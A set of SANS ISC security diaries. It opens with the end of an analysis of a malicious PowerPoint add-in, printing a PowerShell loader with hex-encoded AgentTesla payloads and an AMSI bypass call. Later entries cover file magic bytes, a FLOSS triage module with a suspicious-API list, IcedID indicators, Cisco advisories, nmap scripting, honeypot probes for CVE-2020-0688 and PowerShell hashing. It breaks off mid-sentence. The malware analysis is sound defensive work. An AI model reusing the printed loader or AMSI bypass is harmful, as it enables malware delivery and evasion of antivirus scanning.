    $puffpass = New-Object byte[](1024)
    while($true) {
      $read = $01774000.Read($puffpass, 0, 1024)
      if ($read -le 0){break}
      $output.Write($puffpass, 0, $read)
    }
    [byte[]] $bout333 = $output.ToArray()
    Write-Output $bout333
  }
}

$t0='DEX'.replace('D','I');sal g $t0;[Byte[]]$MNB=('@!1F,@!8B,@!08,@!00,@!00,@!00,@!00,@!00,@!04,@!00,@!ED,@!7C,@!79,@!5C,@!53,@!47,@!D7,@!F0,@!DC,@!EC,@!09,@!8B,@!DC,@!84,@!25,@!40,@!20,@!83,@!8A,@!A2,@!2C,@!82,@!A0,@!E2,@!2E,@!02,@!8A,@!22,@!8A,@!E2,@!12,@!22,@!0A,@!01,@!02,@!46,@!96,@!60,@!08,@!2A,@!2E,@!34,@!D5,@!6A,@!AD,@!5A,@!57,@!14,@!F7,@!B5,@!B6,@!EE,@!2B,@!56,@!7D,@!1E,@!77,@!AD,@!56,@!EB,@!5A,@!2D,@!75,@!69,@!B5,@!56,@!5B,@!B7,@!B6,@!B6,@!5A,@!5B,@!C5,@!85,@!F7,@!CC,@!DC,@!1B,@!08,@!8A,@!7D,@!9F,@!EF,@!AF,@!F7,@!FB,@!BD,@!BF,@!F7,@!CA,@!3D,@!77,@!CE,@!99,@!33,@!

[stuff removed]

7F,@!33,@!D0,@!4A,@!F9,@!3E,@!89,@!0D,@!DF,@!D6,@!F3,@!4D,@!3E,@!3D,@!8C,@!3C,@!08,@!46,@!20,@!B6,@!2B,@!82,@!28,@!30,@!41,@!FD,@!18,@!98,@!65,@!39,@!54,@!96,@!AC,@!DA,@!08,@!22,@!BC,@!44,@!0E,@!CE,@!9B,@!04,@!23,@!BC,@!16,@!9A,@!6F,@!13,@!2F,@!C4,@!50,@!3A,@!19,@!27,@!1E,@!24,@!B5,@!CB,@!59,@!0C,@!B5,@!24,@!22,@!1C,@!35,@!E2,@!62,@!8F,@!C4,@!4F,@!3F,@!DE,@!CF,@!26,@!3E,@!7E,@!EC,@!B1,@!58,@!F8,@!8F,@!71,@!C4,@!CD,@!0F,@!4E,@!AB,@!6C,@!A8,@!27,@!32,@!FE,@!D3,@!FC,@!E8,@!46,@!E3,@!BC,@!3E,@!FF,@!9B,@!D1,@!FE,@!4F,@!B1,@!DE,@!81,@!7E,@!A1,@!8C,@!A1,@!D6,@!23,@!B6,@!23,@!3B,@!88,@!D2,@!B7,@!F6,@!24,@!E8,@!AD,@!3D,@!C9,@!FF,@!EA,@!2B,@!83,@!FB,@!26,@!5F,@!14,@!F5,@!3F,@!2D,@!C8,@!FF,@!5D,@!FF,@!13,@!D7,@!7F,@!01,@!60,@!B9,@!70,@!AA,@!00,@!50,@!00,@!00'.replace('@!','0x'))| g;


[Byte[]]$blindB=('@!1F,@!8B,@!08,@!00,@!00,@!00,@!00,@!00,@!04,@!00,@!CC,@!BD,@!07,@!78,@!14,@!55,@!DB,@!3F,@!3C,@!BB,@!D9,@!6C,@!76,@!D3,@!48,@!81,@!24,@!B4,@!E4,@!80,@!20,@!91,@!A5,@!24,@!D4,@!A1,@!D7,@!80,@!20,@!1D,@!42,@!19,@!A4,@!4C,@!48,@!80,@!40,@!9A,@!29,@!B4,@!00,@!66,@!05,@!0B,@!6E,@!09,@!88,@!58,@!00,@!15,@!44,@!51,@!B7,@!82,@!88,@!80,@!05,@!44,@!2C,@!80,@!05,@!04,@!0B,@!2A,@!0F,@!A2,@!02,@!16,@!6C,@!08,@!16,@!FA,@!FF,@!3E,@!67,@!CE,@!7D,@!66,@!22,@!3C,@!CF,@!

[stuff removed]

F2,@!D3,@!57,@!FF,@!E7,@!66,@!03,@!86,@!AC,@!3C,@!96,@!D0,@!16,@!EC,@!FD,@!F1,@!99,@!5B,@!54,@!79,@!24,@!D3,@!AC,@!14,@!4A,@!8E,@!17,@!AF,@!76,@!29,@!A3,@!E4,@!88,@!FC,@!B2,@!A8,@!37,@!90,@!84,@!33,@!5B,@!46,@!7B,@!5D,@!7C,@!E0,@!51,@!64,@!7D,@!4F,@!24,@!F3,@!3B,@!12,@!6C,@!C9,@!55,@!88,@!A8,@!25,@!91,@!14,@!DF,@!31,@!69,@!13,@!F3,@!BB,@!26,@!DA,@!12,@!90,@!AC,@!FF,@!8D,@!E8,@!FD,@!7E,@!A4,@!7F,@!DB,@!7E,@!B5,@!DF,@!62,@!87,@!45,@!91,@!FF,@!26,@!46,@!D4,@!41,@!DB,@!04,@!72,@!63,@!87,@!4F,@!FC,@!CA,@!3C,@!4F,@!CB,@!3C,@!EF,@!E4,@!D9,@!3F,@!DB,@!FD,@!73,@!9D,@!93,@!31,@!05,@!20,@!5A,@!62,@!BB,@!15,@!F0,@!7E,@!02,@!4B,@!FF,@!68,@!DC,@!FF,@!F2,@!0F,@!97,@!77,@!61,@!EE,@!C1,@!07,@!73,@!7F,@!5A,@!90,@!FF,@!E5,@!4F,@!94,@!AF,@!46,@!90,@!E6,@!95,@!00,@!C2,@!00,@!00'.replace('@!','0x'))| g

[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB
$blind=[System.Reflection.Assembly]::Load($deblindB)
[Amsi]::Bypass()
[byte[]]$decompressedByteArray = UNpaC0k3333300001147555  $MNB

The two hex-encoded chunks of data decoded into a DLL and a PE. The PE is an AgentTesla malware (SHA256: d46615754e00e004d683ff2ad5de9bca976db9d110b43e0ab0f5ae35c652fab7[3])

Conclusion: PowerPoint can also be used to deliver malicious content!

[1] https://docs.microsoft.com/en-us/office/dev/add-ins/tutorials/powerpoint-tutorial
[2] https://www.virustotal.com/gui/file/b345b73a72f866ac3bc2945467d2678ca4976dd4c51bd0f2cdb142a79f56210a/detection
[3] https://www.virustotal.com/gui/file/d46615754e00e004d683ff2ad5de9bca976db9d110b43e0ab0f5ae35c652fab7/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When you handle unknown files, be it for malware analysis or other reasons, it helps to know some strings / hexadecimal sequences to quickly recognize file types and file content.

If you want to memorize some strings to improve your analysis skills, I recommend that the first string you memory is MZ, or 4D 5A in hexadecimal (ASCII table).

All Windows executables (PE file format) start with these 2 bytes: 4D 5A.

And that is not the only "skill" that you acquire by memorizing 4D 5A: as Z is the last letter of the alphabet, you also learned that all uppercase letters are smaller than or equal to 5A. You might already know that letter A is 41 (for example from PoC buffer overflows: AAAAAA -> 414141414141). Then you've learned that all uppercase letters are between hexadecimal values 41 and 5A.

Lowercase letters have their 6th most-significant bit set, while uppercase letters have that bit cleared. A byte with its 6th MSB set and all other bits cleared, has hexadecimal value 20. Add 20 to 41, and you have 61: letter a. Hence all lowercase letters are comprised between hexadecimal values 61 and 7A.

The next string I recommend to memorize, is PK: 50 4B. All records of a ZIP file start with PK (50 4B), and typical ZIP files start with a ZIP record (although this is not mandatory): hence typical ZIP files starts with PK. ZIP files are not only used for ZIP archives, but also for many other file formats, like Office documents (.docx, .docm, .xlsx, .xlsm, ...).

 

And when you memorize that PK is 50 4B, then it's not that difficult to memorize that PE is 50 45 (E is the fifth letter -> 45).

PE are the first 2 bytes of the header for PE files (Windows executables), and can be found after the MZ header (which is actually the DOS header).

If some mnemotechnic can help you remember strings MZ and PK: then know that these are initials of developers: Mark Zbikowski and Phil Katz.

To summarize:

• MZ -> 4D 5A
• PK -> 50 4B
• PE -> 50 45
• A-Z -> 41 - 5A
• a-z -> 61 - 7A

Please post a comment if you have more "memorable" strings. We might end up with a small cheat sheet.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Malware triage is a key component of your hunting process. When you collect suspicious files from multiple sources, you need a tool to automatically process them to extract useful information. To achieve this task, I’m using FAME[1] which means “FAME Automates Malware Evaluation”. This framework is very nice due to the architecture based on plugins that you can enable upon your needs. Here is an overview of my configuration:

FAME has a REST API that helps to automate the submission of samples. I’ve multiple sources like catch-all email addresses from where I extract malicious attachments. Based on their MIME type, submitted files are processed with the right plugins. Example: PDF are passed to the Peepdf module:

Office documents are passed to the Olevba module:

Executables and scripts are passed to the CAPE module (sandbox analysis):

There are many modules available. Analyzing files in a sandbox, like CAPE, is very nice but it consumes a lot of resources. When you submit a bunch of PE files, it could take some time to get results.

A good point about the FAME framework: It’s easy to write your own module (in Python) to process files. To speed up the triage of malicious PE files, I created a module that uses FLOSS to extract files from executables. FLOSS[2], as the acronym says - “FireEye Labs Obfuscated String Solver”, is developed by FireEye. It is a powerful tool that offers a way to automatically deobfuscate concealed strings using common and proprietary algorithms. When you use a command like ‘strings’ against binary files, you will collect only clear-text strings:

root@remnux:/malwarezoo# strings sample.exe |head -10
!This program cannot be run in DOS mode.
Richd
.text
`.data
.rsrc
@.reloc
ntdll.dll
KERNEL32.dll
USER32.dll
OPENGL32.dll

FLOSS emulates the execution of Windows executables to allow it to deobfuscate strings. FLOSS examines the file statically and locates functions that might be capable of decoding strings and emulating their execution to determine what content they are likely to produce. FLOSS can also decode stack strings:

FLOSS is available as a stand-alone binary but, being developed in Python, there is a library available that allows you to integrate FLOSS in your own tools.  I wrote a FLOSS plugin that extracts strings from binaries:

• Static strings
• Decoded strings
• Stack strings

Often, just by having a look at the imports on a PE file, you can already get an idea about its behavior. Some of them are more suspicious than others. To facilitate the detection of suspicious behavior, there is a way to search for suspicious strings (a single one) or a group of strings. Indeed, some malicious features are implemented by calling a suite of API calls. A good example is a technique called "process hollowing"[3]. This technique is based on:

• CreateRemoteThreat()
• NtUnmapViewOfSection()
• VirtualAllocEx()
• WriteProcessMemory()
• ResumeThreat()

You can define your own set of suspicious strings. A simple correlation is performed by concatenating them with ‘_AND_’. Here is an example of a configuration file:

root@fame:/# cat /opt/fame/conf/floss_suspicious.txt
VirtualAlloc
GetLogicalDrives
CreateRemoteThread
RtlDecompressBuffer
NtAllocateVirtualMemory
NtResumeProcess
SetWindowsHookEx
FindWindow
CreateToolhelp32Snapshot_AND_Process32First_AND_Process32Next
CreateProcess_AND_UnmapViewOfSection_AND_VirtualAllocEx_AND_WriteProcessMemory_AND_ResumeThreat
AllocateVirtualMemory_AND_WriteVirtualMemory_AND_ResumeProcess
LoadLibrary_AND_GetProcAddress
BlockInput
GetModuleHandle
ProtectVirtualMemory
FromBase64String

Another example of correlation is: LoadLibrary() & GetProcAddress(). This combination of API calls, called "dynamic linking", is often used by packed malware.

FLOSS is much faster than a complete analysis in a real sandbox and speeds us the results in FAME. Here are the results of an analyzed file in FAME:

The script is configurable in FAME like any plugin and allows the following configuration parameters to be defined:

• The minimum / maximum lengths of strings to report
• The maximum amount of strings to report
• A list of strings to ignore (blocklist)
• A list of suspicious strings (like interesting API calls)

If you're interested in this module for FAME or just to see how the FLOSS library is implemented, I published the module on my GitHub account[4]. It's the first version and the script will evolve for sure. If you've any ideas or suggestions, let me know!

[1] https://certsocietegenerale.github.io/fame/
[2] https://github.com/fireeye/flare-floss
[3] https://attack.mitre.org/techniques/T1093/
[4] https://github.com/xme/fame_modules/tree/master/processing/floss_str

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Every so often, I run across a sample of IcedID, also known as Bokbot.  The infection characteristics have changed a little since my previous diary about IcedID.  An in-depth write-up has already been published by IBM Security Intelligence about recent changes in IcedID this year, so today's diary is a quick review from a recent infection in my lab on Tuesday 2020-05-19.

The chain of events for this infection:

• Microsoft Office document, either a Word document or Excel spreadsheet, likely sent through malspam
• Open document and enable macros
• Word doc drops and runs initial EXE
• HTTPS traffic to non-malicious URLs
• HTTPS traffic to .xyz domain
• PNG file with encoded data used to create follow-up IcedID EXE
• Follow-up IcedID EXE made persistent through scheduled task
• HTTPS post-infection traffic caused by IcedID (.club and .top TLDs)

The Word document

Shown above:  Screenshot of a Word document with malicious macros for IcedID.

Artifacts from an infected Windows host

The following are screenshots from reviewing artifacts from an infected Windows host in my lab.

Shown above:  The initial EXE dropped after enabling macros on the Word document.

Shown above:  Additional artifacts after the initial EXE was dropped. This includes the follow-up EXE for IcedID.

Shown above:  The follow-up EXE for IcedID persistent on an infected Windows host.

Shown above: Scheduled task to keep the IcedID infection persistent.

Shown above: Another artifact created after the IcedID infection became persistent.

Infection traffic

Shown above:  Traffic from the infection filtered in Wireshark.

Indicators of Compromise (IoCs)

Non-malicious traffic caused by the initial IcedID binary during this infection:

• port 443 - support.apple.com - HTTPS traffic
• port 443 - www.intel.com - HTTPS traffic
• port 443 - help.twitter.com - HTTPS traffic
• port 443 - support.microsoft.com - HTTPS traffic
• port 443 - support.oracle.com - HTTPS traffic
• port 443 - www.oracle.com - HTTPS traffic

Malicious traffic during this IcedID infection:

• 86.106.20[.]175 port 443 - connuwedro[.]xyz - HTTPS traffic
• 31.24.224[.]12 port 443 - cucumberz99[.]club - HTTPS traffic
• 31.24.224[.]12 port 443 - pimidorro22[.]top - HTTPS traffic
• 31.24.224[.]12 port 443 - gotothe5[.]club - HTTPS traffic

Files recovered from an infected Windows host:

SHA256 hash:  822a8e3dfa14cd7aaac749dc0515c35cf20632717e191568ba5daf137db7ec17

• File size:  127,278 bytes
• File name:  FMLAINSTRUCTIONS.doc
• File description:  Word doc (DOCX file) with macro for IcedID (Bokbot)

SHA256 hash:  ee9fd78107cdcaffc274cf2484d6c74c56c7f3be39b1896894d9525506118d1e

• File size:  108,032 bytes
• File location:  C:\1\Whole\PFSDNSKDF.EXE
• File description:  Initial EXE for IcedID infection dropped after enabling Word macros

SHA256 hash:  d40566808aead4fecec53813d38df4fbe26958281a529baf5b6689f0163d613f

• File size:  109,895 bytes
• File location:  C:\Users\[username]\AppData\Local\Temp\~530644480.tmp
• File type:  PNG image data, 525 x 539, 8-bit/color RGB, non-interlaced
• File description:  PNG image containing encoded data for follow-up IcedID executable

SHA256 hash:  c35dd2a034376c5f0f22f0e708dc773af8ee5baf83e2a4749f6f9d374338cd8e

• File size:  105,472 bytes
• File location:  C:\Users\[username]\AppData\Local\Temp\~5157171.exe
• File location:  C:\Users\[username]\AppData\Roaming\{A64BACC9-7079-26A0-9625-645E78074A96}\[username]\Ixoyhoka2.exe
• File description:  IcedID executable extracted from the above PNG and made persistent on the infected Windows host

SHA256 hash:  45520a22cdf580f091ae46c45be318c3bb4d3e41d161ba8326a2e29f30c025d4

• File size:  667,077 bytes
• File location:  C:\Users\[username]\AppData\Local\ilbekaac2\{1EA129C9-3B27-EA75-47E0-B55E92D185DD}\tiagac3.png
• File description:  Artifact dropped during IcedID infection, probably contains encoded data
• File type:  PNG image data, 643 x 283, 8-bit/color RGB, non-interlaced

Final words

Word documents pushing IcedID reliably generate infections on vulnerable hosts in my lab environment.  However, Windows 10 computers that are fully patched, up-to-date, and following best security practices are not likely to get infected.

Email examples, malware samples, and a pcap from an infected Windows host used in today's diary can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Here at the ISC we provide access to a number of bits of data which can be used to dig into problems or even as an early warning system of unusual activity.  Well today's data has revealed a confounding one.  Port 62234, which traditionally has zero on near zero sources attempting to access it suddenly has hundreds of sources.

This port is not one I have seen as a target before, and none of my sources show any traffic on this port. A check of Shodan shows only 3 hits, and two of those appear to be BitTorrent related.  I am at a loss.  If any of you has further information,  firewall logs, or better yet, packet captures of this activity it would be appreciated if you could send it over for analysis.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Cisco has released a number of advisories for Firepower and Adaptive Security Appliance (ASA). 

Cisco Adaptive Security Appliance Software
CVE-2020-3259 - Web Services Information Disclosure Vulnerability – High 
-    An unauthenticated, remote, attacker can access memory and potentially confidential information.
CVE-2020-3298 - Malformed OSPF Packets Denial of Service Vulnerability – High
-    An unauthenticated, remote, attacker could cause a device to reload resulting in DOS
CVE-2020-3196 – SSL/TLS Denial of Service Vulnerability - High
-    Unauthenticated, remote attacker can exhaust memory resources leading to DOS
CVE-2020-3195 – OSPF Packet Processing Memory Leak Vulnerability – High
-    Unauthenticated, remote attacker can exhaust memory resources resulting in DOS

Firepower Threat Defense
CVE-2020-3259 - Web Services Information Disclosure Vulnerability – High 
-    An unauthenticated, remote attacker can access memory and potentially confidential information.
CVE-2020-3298 - Malformed OSPF Packets Denial of Service Vulnerability – High
-    An unauthenticated, remote, attacker could cause a device to reload resulting in DOS
CVE-2020-3255 – Packet Flood Denial of Service Vulnerability – High
-    An unauthenticated, remote attacker can cause a DOS on the device.
CVE-2020-3189 – VPN System Logging Denial of Service Vulnerability - High
-    Unauthenticated, remote attacker can cause memory leak resulting in device degradation or crash.
CVE-2020-3196 – SSL/TLS Denial of Service Vulnerability - High
-    Unauthenticated, remote attacker can exhaust memory resources leading to DOS
CVE-2020-3195 – OSPF Packet Processing Memory Leak Vulnerability – High
-    Unauthenticated, remote attacker can exhaust memory resources resulting in DOS

Firepower 1000
CVE-2020-3283 – SSL/TLS Denial of Service Vulnerability – High
-    Unauthenticated, remote attacker can cause buffer underrun resulting in DOS.

Althought Cisco rated all of these vulnerabilities the same, high, most of them require a patient, determined attacker and will result in a DOS condition.  The exception to this is CVE-2020-3259 which can result in a breach of sensitive information. Either way the solution is to upgrade to an unaffected version of the software.
 

 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

With last week’s diary  I left you with using a relatively basic nmap command to perform a relatively thorough scan of an IP range.  That command was:

nmap -sT -A <scan_target>

I had indicated that I often use variations on that command to automate periodic scans against a critical IP range.  I had left you with some basics about what other parts of nmap can be helpful to automate this.  This week I received some questions about the automation steps, so here is the rest of the details.  In practice, most of my automated scripts have evolved from this simple state, but in its very basic form here is where they evolved from.  

In order to truly automate the scan we need three components:
Input file – to tell nmap which targets to scan
Output file(s) – to record and compare the results
Bash script - to act as a wrapper for the process steps

To tell nmap which IPs or networks to scan you can use the -iL <filename> parameter.  For a quick scan I usually just create a file called ips.txt in the current directory.  The contents of that file can be single IPs or network ranges in CIDR format, one address/network per line. So that takes us to an nmap command of:

nmap -sT -A -iL <address_file>

As stated in the previous diary, the -oA <filename> parameter will send the nmap scan results to files utilizing all three of nmap’s output formats; normal (.nmap), XML (.xml), and grepable (.gnmap).  Only the .xml version is used by ndiff, but I find the other output formats useful for other purposes such as investigating after the scan.  Typically I just send my output to a file called nmap_current.  So the resulting nmap command is:

nmap -sT -A -iL <address_file> -oA nmap_current

and once that command is complete there will be three nmap output files:
nmap_current.gnmap  
nmap_current.nmap  
nmap_current.xml

There are many ways the running of this can be automated, but typically I just create a simple bash shell script and schedule it with cron to run at the appropriate interval.  A sample Bash script, nmap_scan.sh:

#!/bin/bash

# if there is a current file from a past run, then copy it to previous
if [ -f nmap_current.xml ];then
   cp nmap_current.xml nmap_previous.xml
fi

# run nmap
/usr/bin/nmap -sT -A -iL ips.txt -oA nmap_current

# if there is not a previous file then there is no point running ndiff
# this will fix itself on the next run
if [ -f nmap_previous.xml ];then
   /bin/ndiff nmap_previous.xml nmap_current.xml >> ndiff_out.txt
fi

Please note that is not a very robust script.  The paths should be more explicit, and  it does not handle the emailing of the ndiff result, but as a quick and dirty script it will do.
Once the script completes you will find the differences between the current scan and the previous scan in ndiff_out.txt in standard diff formal.  i.e. anything from the original file that has been removed shows a minus sign in the first column and anything in the new file that has been added shows with a plus sign in the first column.

# cat ndiff_out.txt
-Nmap 7.60 scan initiated Mon May 18 19:36:21 2020 as: /usr/bin/nmap -sT -A -iL ips.txt -oA nmap_current
+Nmap 7.60 scan initiated Mon May 18 20:12:00 2020 as: /usr/bin/nmap -sT -A -iL ips.txt -oA nmap_current

Hostname REDACTED (IP REDACTED):
OS details:
 Vodavi XTS-IP PBX
- Android 5.0 - 5.1
- Linux 3.2 - 3.10
 Linux 3.2 - 3.16
 Linux 3.2 - 4.8
+ Linux 3.2 - 3.10
 Linux 4.2
+ Android 5.0 - 5.1
+ Linux 2.6.32
 Linux 3.10
 Linux 3.13
- Linux 2.6.32
 Linux 2.6.32 - 3.10

+Hostname REDACTED (IP REDACTED):
+Host is up.
+Not shown: 999 closed ports
+PORT   STATE SERVICE VERSION
+3306/tcp open mysql  MariaDB (unauthorized)
+OS details:
+ Linux 2.6.32
+ Linux 3.7 - 3.10
+ Linux 3.10
+ Linux 3.16
+ Linux 3.8 - 4.9
+ Linux 3.1
+ Linux 3.2
+ AXIS 210A or 211 Network Camera (Linux 2.6.17)
+ Linux 3.11 - 3.14
+ Linux 3.19

A little knowledge of the network and some analysis and this is enough to give you a warning if something unusual is going on. i.e. an unauthorized device, or service has appeared, or the configuration of one of the devices has changed. 
 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

"When a file contains more than one signature, for example EICAR and a real virus, what will the antivirus report?".

I'm paraphrasing a question I've been asked a couple of times.

The answer depends on the sample file and the antivirus.

To illustrate this question, I made a sample file: a ZIP file containing the EICAR antivirus test file and mimikatz.exe.

The EICAR file appears first:

The different antivirus programs I'm familiar with, will report just one detection: EICAR or mimikatz.

Like ClamAV:

Here we can see that ClamAV detects EICAR, and not mimikatz. This is because of performance reasons, ClamAV will stop scanning a file after the first detection. However, ClamAV has an option to make it continue scanning after a match:

Using this option makes that ClamAV reports EICAR and mimikatz:

Do you know antivirus programs with a similar option? Please post a comment!

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

This past two weeks my honeypot captured several probe for this URL /owa/auth/logon.aspx?url=https://1/ecp/ looking for the Exchange Control Panel. In the February 2020 patch Tuesday, Microsoft released a patch for ECP (CVE-2020-0688) for a remote code execution vulnerability affecting Microsoft Exchange server. Zero Day Initiative provided more details for this vulnerability here. Using CyberChef URL Decode, this is the output of the scan:

tcp-honeypot-20200502-072120.log:20200502-092115: 192.168.25.9:443-162.243.136.126:40998 data 'GET /owa/auth/logon.aspx?url=https://1/ecp/ HTTP/1.1\r\nHost: XX.YY.87.76\r\nUser-Agent: Mozilla/5.0 zgrab/0.x\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n'

This is a sample of the logs received over the past two weeks. You will notice that all the inbound scans are all from the same IP range owned by the same ASN.

Sample of Scanning Activity
tcp-honeypot-20200502-072120.log:20200502-092115: 192.168.25.9:443-162.243.136.126:40998 data 'GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1\r\nHost: XX.YY.87.76\r\nUser-Agent: Mozilla/5.0 zgrab/0.x\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n'
tcp-honeypot-20200507-140821.log:20200508-060105: 192.168.25.9:443-162.243.142.247:43656 data 'GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1\r\nHost: XX.YY.87.76\r\nUser-Agent: Mozilla/5.0 zgrab/0.x\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n'
tcp-honeypot-20200515-181040.log:20200516-160625: 192.168.25.9:443-162.243.138.144:45092 data 'GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1\r\nHost: XX.YY.87.76\r\nUser-Agent: Mozilla/5.0 zgrab/0.x\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n'

If your organization has made OWA available on the web, verify  the cumulative updates and the service pack that addressed this remote code execution vulnerability found in Microsoft Exchange 2010, 2013, 2016, and 2019 has been applied.

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
[2] https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
[3] https://isc.sans.edu/ipinfo.html?ip=162.243.136.126

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

No sooner had posted on doing file and string hashes in PowerShell, when I (again) got asked by Jim - "What about SHA3?  Shouldn't we be using Quantum Safe algorithms if we have them?"

Looking around, support for SHA3 is pretty sparse no matter what the OS.  For Windows there's a decent solution in bouncycastle (https://www.bouncycastle.org/), but the install is likely more than folks want to tackle, especially if it gets rolled into PowerShell at some future date.  Similarly, the SCCM ConfigurationManager module does implement them in some fashion, but that's kind of a dead-end for most of us too.

In a pinch, hashify.net has a public API that supports just about any hashing algorithm you'd care to mention:

curl --location --request GET "api.hashify.net/hash/sha3-512/hex?value=CQCQCQ"
{"Digest":"bcc7a070db5dd926bfbef21c6c5e8081402a79e45f96c4cd7fedc405e1a7fcb6b047cff266235f19f0d1219d2f0fd9299b93cd28d69517d7aefec8cf0c9ffdcc","DigestEnc":"hex","Type":"SHA3-512","Key":""}

The problem with that is - if the information you are hashing (presumably to verify against either now or later) is important or sensitive enough to warrant using one of the fancy SHA3 algorithms, it's likely not data that you want sent to a public website in the clear.

I eventually decided to use the functionality in OpenSSL, with the rationale that anyone who needs this function will likely have OpenSSL already installed locally, at most we'd be asking them to upgrade - you'll need OpenSSL 1.1.1 or better for SHA3-xxx hash support.  The syntax is:

echo "some string" | openssl dgst -hashalgorithm

or

type "somefilespec" | openssl dgst -hashalgorithm

where "hashalgorithm" is any of:

blake2b512                blake2s256                md4
md5                       md5-sha1                  mdc2
ripemd                    ripemd160                 rmd160
sha1                      sha224                    sha256
sha3-224                  sha3-256                  sha3-384
sha3-512                  sha384                    sha512
sha512-224                sha512-256                shake128
shake256                  sm3                       ssl3-md5
ssl3-sha1                 whirlpool

So for implementing this in PowerShell, it's as easy as creating the command in a string, then calling it with "Invoke-Expression" (shortened to "iex" in the examples below).

So for now, until Microsoft rolls better support for SHA3 family of hashing algorithms, my quick-and-dirty implementation for the newer, shinier hash algorithms is below.  Note that if OpenSSL isn't in the path, I've got a variable pointed to the path to the binary (update this variable to match your install).  In any "real" code you would put this in a config file of course (because we all need more config files in our life right?)

$OpenSSLPath = "C:\openssl-1.1.1h\bin\" function Get-StringHash-OpenSSL ( [String] $InputString, $HashAlgo )     {     $QT = "`""     $cmd = "echo " + $QT + $InputString + $QT + " | " + $OpenSSLPath + "openssl.exe dgst -" + $HashAlgo     $callcmd = iex $cmd     $callcmd.split(" ")[1]     } $hash = get-stringhash-openssl "CQ CQ CQ" "SHA3-256" $hash 5b960a5284843bb23af5e249c8692bd6d831645cc5070d501b4cef3e94d6983e

 

$OpenSSLPath = "C:\openssl-1.1.1h\bin\" function Get-FileHash-OpenSSL ( [String] $InputFileSpec, $HashAlgo )     {     $QT = "`""     $cmd = "type " + $QT + $InputFileSpec + $QT + " | " + $OpenSSLPath + "openssl.exe dgst -" + $HashAlgo     $callcmd = iex $cmd     $callcmd.split(" ")[1]     } $hash = get-FileHash-OpenSSL "c:\windows\system32\cmd.exe" "Sha3-512" $hash 0cacd8c85b44eed57101fee1431434278319dc441aee26354f811b483a30ff7861ecc88f4c90791e941e49dcb124a975d9eb301 e5d715a4e80ee918ea2f5f844

If you've worked out a way to get these algorithms into PowerShell without IEX or any 3rd party installs, please share using our comment form. 

(And yes, I did riff on the title of Mark Baggett's presentation next week - Tech Tuesday Workshop - O Hacker, Where Art Thou?: A Hands-On Python Workshop for Geolocating Attackers  https://www.sans.org/webcasts/hacker-art-thou-hands-on-python-workshop-geolocating-attackers-115340 )

===============
Rob VandenBrink
www.coherentsecurity.com

As a follow up to yesterday's how-to, I thought hashing might a thing to cover.  We use hashes all the time, but it's annoying that md5sum, sha1sum and sha256sum aren't part of the windows command set - or are they?  Yup, it turns out that they most definitely are part of PowerShell:

Get-FileHash -path $filename -Algorithm $algo

Where the Algorithm is a string, any one of:
"SHA1","SHA256","SHA384","SHA512","MACTripleDES","MD5","RIPEMD160"

$a = get-filehash -Path .\somefile.txt -Algorithm SHA256 $a Algorithm       Hash                                                                   Path ---------       ----                                                                   ---- SHA256          0ACDA2996D999257BD8E4EE7AD43065626A14105A06DC00973959F9B032DE0E9       somefile.txt $a.Hash 0ACDA2996D999257BD8E4EE7AD43065626A14105A06DC00973959F9B032DE0E9

But what about string values?  If you want to hash a string, there doesn't seem to be a function for that.  It turns out that while it's not part of PowerShell as a separate thing, it's pretty easy to access it using the string as an "inputstring" variable:

$stringAsStream = [System.IO.MemoryStream]::new() $writer = [System.IO.StreamWriter]::new($stringAsStream) $writer.write("RADIO CHECK") $writer.Flush() $stringAsStream.Position = 0 Get-FileHash -Algorithm "SHA256" -InputStream $stringAsStream | Select-Object Hash Hash ---- A450215BE7B1BC6006D41FF62A9324FEB4CD6D194462CB119391CE21555658BB

So, this gets the job done but it's a bit cludgy, let's drop it into a function, then call the function:

function Get-StringHash ( [String] $InputString, $HashAlgo)     {     $stringAsStream = [System.IO.MemoryStream]::new()     $writer = [System.IO.StreamWriter]::new($stringAsStream)     $writer.write($InputString)     $writer.Flush()     $stringAsStream.Position = 0     Get-FileHash -Algorithm $HashAlgo -InputStream $stringAsStream | Select-Object Hash     } $a =  get-stringhash "LOUD AND CLEAR" "SHA256" $a Hash ---- 7FE22308D7B971EDCADB8963188E46220E9D5778671C256216AEA712A33D4A3E $a.Hash 7FE22308D7B971EDCADB8963188E46220E9D5778671C256216AEA712A33D4A3E

This "common infosec functions in PowerShell" thing kinda got started by accident, and got extended when Jim Clausing asked me if I was going to re-write CyberChef in PowerShell?.  Of course my answer was "If you're going to put down a dare like that, challenge accepted" - so look for more stories of this type in future.  As I introduce more functions, I'll roll them into the same GUI as I presented yesterday, code will get updated in my github ( https://github.com/robvandenbrink ).

===============
Rob VandenBrink
www.coherentsecurity.com

Looking at our patch Tuesday list, I looked a bit closer at CE-2020-1048 (Print Spooler Privilege Escalation) and Microsoft's ratings for that one.  Microsoft rated this as:

Disclosed: NO
Exploited: NO
Exploitability (old and new versions)

Unfortunately, this vulnerabiltiy was actually disclosed to Microsoft by the research community (see below), so the code to exploit it absolutely does exist and was disclosed, and a full write-up was posted as soon as the patch came out:
